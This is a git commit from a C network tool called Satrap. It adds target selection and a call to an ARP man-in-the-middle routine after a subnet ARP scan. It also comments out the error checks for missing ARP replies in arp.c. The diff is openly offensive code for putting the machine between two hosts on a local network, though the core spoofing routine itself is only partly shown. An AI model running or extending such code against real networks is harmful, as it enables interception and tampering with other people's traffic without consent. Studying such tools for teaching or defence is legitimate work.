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Added MITM attack to Satrap

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This commit is contained in:
Dimitri Lozeve 2016-06-08 09:33:17 +02:00
parent f980c11566
commit 6e66662efe
2 changed files with 41 additions and 5 deletions
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11
arp.c
View file

@ -320,11 +320,12 @@ int arp_mitm(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char
hardware addresses. */
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target1_ip);
struct ether_arp reply1;
int n = listen_arp_frame(sockfd, &reply1);
listen_arp_frame(sockfd, &reply1);
/*printf("%d\n", n);
if (n != 0) {
printf("[FAIL] No frame received\n");
exit(EXIT_FAILURE);
}
}*/
unsigned char *macaddr1 = reply1.arp_sha;
printf("Target 1 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
macaddr1[0],macaddr1[1],macaddr1[2],
@ -332,11 +333,11 @@ int arp_mitm(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target2_ip);
struct ether_arp reply2;
n = listen_arp_frame(sockfd, &reply2);
if (n != 0) {
listen_arp_frame(sockfd, &reply2);
/*if (n != 0) {
printf("[FAIL] No frame received\n");
exit(EXIT_FAILURE);
}
}*/
unsigned char *macaddr2 = reply2.arp_sha;
printf("Target 2 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
macaddr2[0],macaddr2[1],macaddr2[2],

35
satrap.c
View file

@ -141,6 +141,41 @@ int main(int argc, char **argv)
/* ARP scan of the subnet */
arp_scan(sockfd, ifindex, ipaddr, macaddr, netmask);
/* ====================================================================== */
/* Selection of the targets */
char target1_ip_string[16];
printf("Target 1 IP: ");
scanf("%15s", target1_ip_string);
printf("%s\n", target1_ip_string);
struct in_addr target1_ip;
if (!inet_pton(AF_INET, target1_ip_string, &target1_ip)) {
perror("[FAIL] inet_pton() (badly formatted IP address)");
exit(EXIT_FAILURE);
}
char target2_ip_string[16];
printf("Target 2 IP: ");
scanf("%15s", target2_ip_string);
printf("%s\n", target2_ip_string);
struct in_addr target2_ip;
if (!inet_pton(AF_INET, target2_ip_string, &target2_ip)) {
perror("[FAIL] inet_pton() (badly formatted IP address)");
exit(EXIT_FAILURE);
}
/* ====================================================================== */
/* ARP man-in-the-middle attack */
printf("ARP man-in-the-middle attack on interface %s between %s and %s\n",
if_name, target1_ip_string, target2_ip_string);
arp_mitm(sockfd, ifindex, ipaddr, macaddr, &target1_ip, &target2_ip);
return EXIT_SUCCESS;
}